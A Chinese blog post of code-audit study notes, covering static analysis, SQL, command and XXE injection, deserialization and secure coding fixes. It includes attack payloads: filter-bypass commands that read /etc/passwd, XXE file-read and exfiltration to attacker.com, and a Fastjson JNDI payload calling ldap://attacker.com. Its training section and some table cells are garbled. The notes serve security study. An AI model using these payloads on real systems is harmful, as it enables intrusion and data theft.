当前位置: 首页 > article >正文

代码审计学习笔记

目录

一、静态分析工具高阶用法

1. IDEA代码追溯技巧

2. Semgrep自定义规则开发

二、SQL注入深度突破

1. 不同数据库指纹识别

2. MyBatis注入点定位

三、命令注入进阶技巧

1. 绕过字符过滤的Payload

2. 进程注入检测

四、反序列化漏洞深度解析

1. 常见Gadget链特征

2. 自动化检测方案

五、企业级审计流程

1. 安全代码审查清单

2. 三方组件审计流程

六、渗透测试高阶技巧

1. SQL注入自动化利用

2. XXE漏洞深度利用

七、企业级安全编码规范

1. 输入验证白名单示例

2. 密码存储规范

八、工具链配置优化

1. Burp Suite高效配置

2. IDEA安全审计插件配置

九、典型漏洞案例分析

案例1:Fastjson反序列化漏洞

十、自动化审计系统搭建

1. 代码审计CI/CD流程

2. 自定义规则仓库结构


一、静态分析工具高阶用法

1. IDEA代码追溯技巧

操作流程:

实战案例:

// Controller层入口
 @GetMapping("/user") public String getUser(@RequestParam String id) { return userService.findUser(id); } 
// Service层处理 
public String findUser(String userId) { String sql = "SELECT * FROM users WHERE id = " + userId; 
// 漏洞点
 return jdbcTemplate.query(sql, ...); }

追踪步骤:

  1. jdbcTemplate.query(sql)处按Alt+F7查看调用链
  2. 反向追踪sql变量的生成路径
  3. 确认userId是否来自用户输入
2. Semgrep自定义规则开发

示例:检测不安全的反射调用

rules: - id: unsafe-reflection patterns: - pattern: | Class.$CLASS().getMethod($METHOD, ...).invoke($OBJ, ...) - metavariable-regex: metavariable: $CLASS regex: (.*(Process|Runtime|File).*) message: 发现危险反射调用 languages: [java] severity: ERROR

扫描命令:

semgrep --config ./custom_rules/ --exclude 'test/' --json -o results.json

二、SQL注入深度突破

1. 不同数据库指纹识别
测试方法MYSQLORACLEPOSTGRESQL
注释符-- #----
字符串拼接CONCAT()`
时间盲注SLEEP(5)DBMS_LOCK.SLEEP(5)PG_SLEEP(5)
报错注入updatexml()utl_inaddr.get_host_namecast()
2. MyBatis注入点定位

危险写法:

<select id="findUser" parameterType="String" resultType="User"> SELECT * FROM user WHERE name = '${name}' </select>

安全写法对比:

<select id="findUser" parameterType="String" resultType="User"> SELECT * FROM user WHERE name = #{name} </select>

审计技巧:

grep -rnw 'src/' -e '\${[a-zA-Z0-9_]*}'


三、命令注入进阶技巧

1. 绕过字符过滤的Payload
过滤条件绕过方式示例
空格过滤${IFS}<>127.0.0.1${IFS}cat/etc/passwd
分号过滤&&、`
斜杠过滤变量替换a=etc;b=passwd;cat $a/$b
黑名单关键字通配符、编码c\atc''atc$@t
2. 进程注入检测

// 危险代码示例 String cmd = "sh -c $@|sh . echo " + userInput; Runtime.getRuntime().exec(cmd);

检测方法:

strace -f -e execve -s 1024 java VulnerableClass 2>&1 | grep 'execve('


四、反序列化漏洞深度解析

1. 常见Gadget链特征
组件危险类触发条件
Commons-CollectionsTransformer、InvokerTransformerCC3.1以下版本
JDK原生JdbcRowSetImpl、TemplatesImpl存在JNDI注入点
FastjsonparseObject自动触发getter/setter开启autoType
2. 自动化检测方案

步骤:

  1. 使用GadgetInspector扫描依赖包
    java -jar gadget-inspector.jar target.jar
  2. 分析chains.txt输出结果
  3. 使用ysoserial生成对应链的Payload

防御方案验证:

public class SafeObjectInputStream extends ObjectInputStream { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals("SafeClass")) { throw new InvalidClassException("Unauthorized deserialization"); } return super.resolveClass(desc); } }


五、企业级审计流程

1. 安全代码审查清单
风险等级检查项验证方法
高危未授权访问、SQL注入、RCE代码扫描+人工验证
中危XSS、CSRF、越权自动化工具+边界测试
低危日志泄露、配置不当配置检查+敏感信息扫描
2. 三方组件审计流程

工具链:

# 组件漏洞扫描 dependency-check.sh --project myproject --scan target/lib


六、渗透测试高阶技巧

1. SQL注入自动化利用

使用sqlmap进行二阶注入:

sqlmap -u "http://site.com/search" --data "query=test" --second-url "http://site.com/userinfo" --second-req "user=admin"

2. XXE漏洞深度利用

经典Payload:

<!-- 读取本地文件 --> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user>&xxe;</user> <!-- 外带数据 --> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;

防御方案验证:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);


七、企业级安全编码规范

1. 输入验证白名单示例

// 文件名校验 if (!fileName.matches("^[a-zA-Z0-9_\\-]+\\.(jpg|png)$")) { throw new InvalidFileNameException(); } // SQL参数过滤 String safeParam = userInput.replaceAll("[^a-zA-Z0-9@.]", "");

2. 密码存储规范

// BCrypt正确用法 BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12); String hashedPassword = encoder.encode(rawPassword); // 错误示范:使用SHA-256未加盐 DigestUtils.sha256Hex(password);


八、工具链配置优化

1. Burp Suite高效配置

# 配置文件 burp.json { "proxy": { "request_listeners": [ { "enabled": true, "intercept": "all", "auto_forward": false } ] }, "session": { "cookie_jar": { "store_cookies": true } } }

2. IDEA安全审计插件配置

<!-- 插件清单 plugins.xml --> <plugins> <plugin id="com.findsecbugs.findsecbugs-plugin"> <config> <detectors> <detector>SQL_INJECTION</detector> <detector>COMMAND_INJECTION</detector> </detectors> </config> </plugin> </plugins>


九、典型漏洞案例分析

案例1:Fastjson反序列化漏洞

漏洞代码:

JSON.parseObject(userInput, Object.class); // 开启autoType时危险

攻击Payload:

{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true }

修复方案:

ParserConfig.getGlobalInstance().setSafeMode(true);


十、自动化审计系统搭建

1. 代码审计CI/CD流程

# GitLab CI 示例 stages: - security code_audit: stage: security script: - semgrep --config=p/java - dependency-check.sh --project $CI_PROJECT_NAME - spotbugs -textui -effort:max -high target/ artifacts: paths: - audit_report.html

2. 自定义规则仓库结构

rules/ ├── java │ ├── sql-injection.yaml │ ├── rce.yaml │ └── deserialization.yaml ├── python └── generic

实操:

  1. 环境准备阶段
    使用Docker搭建完整靶场环境:

    docker run -d --name webgoat -p 8080:8080 webgoat/webgoat docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop
  2. 每日训练计划

    上午:静态分析工具实操(完成以下任务视为掌握基础审计能力:
    • 在WebGoat中独立完成5种以上漏洞的利用和修复
    • 对开源项目(如Spring PetClini
    • IDEA+Semgrep) 漏洞原理研究(分析CVE报告)                           下午(1小时): 靶场渗透测试(WebGoat/Juice Shop)编写审计报告
    • 技能验证标准

    • c)完成安全审计并提交报告
    • 编写至少3条有效的自定义Semgrep规则

http://www.kler.cn/a/593540.html

相关文章:

  • vue 加密解密
  • Deskflow 一款免费且开源的多设备键盘和鼠标共享工具
  • 用 pytorch 从零开始创建大语言模型(一):理解大型语言模型
  • Android compose中的附带效应-人话
  • Tinyflow AI 工作流编排框架 v0.0.7 发布
  • 【正点原子K210连载】第七十六章 音频FFT实验 摘自【正点原子】DNK210使用指南-CanMV版指南
  • Java 爬取淘宝商品评论接口(item_review)的完整指南
  • 5.2《生活中的透镜》——5.3《凸透镜成像规律》讲后再上
  • 蓝牙音频软件开发--杰理可视化SDK系列学习笔记汇总(持续更新)
  • 深入解析过滤器模式(Filter Pattern):一种灵活高效的设计模式
  • ruby介绍【前端扫盲】
  • 【原创】使用ElasticSearch存储向量实现大模型RAG
  • 【VUE】day05-ref引用
  • 代码随想录第55期训练营第七天|LeetCode454.四数相加II、383.赎金信、15.三数之和、18.四数之和
  • 火山引擎(豆包大模型)(抖音平台)之火山方舟的Prompt的使用测试
  • RabbitMQ消息可靠性问题
  • 前沿技术一览科技改变生活新趋势
  • 用gemini画流程图
  • Python实战(2)-数据库支持
  • 【AWS入门】Amazon EC2简介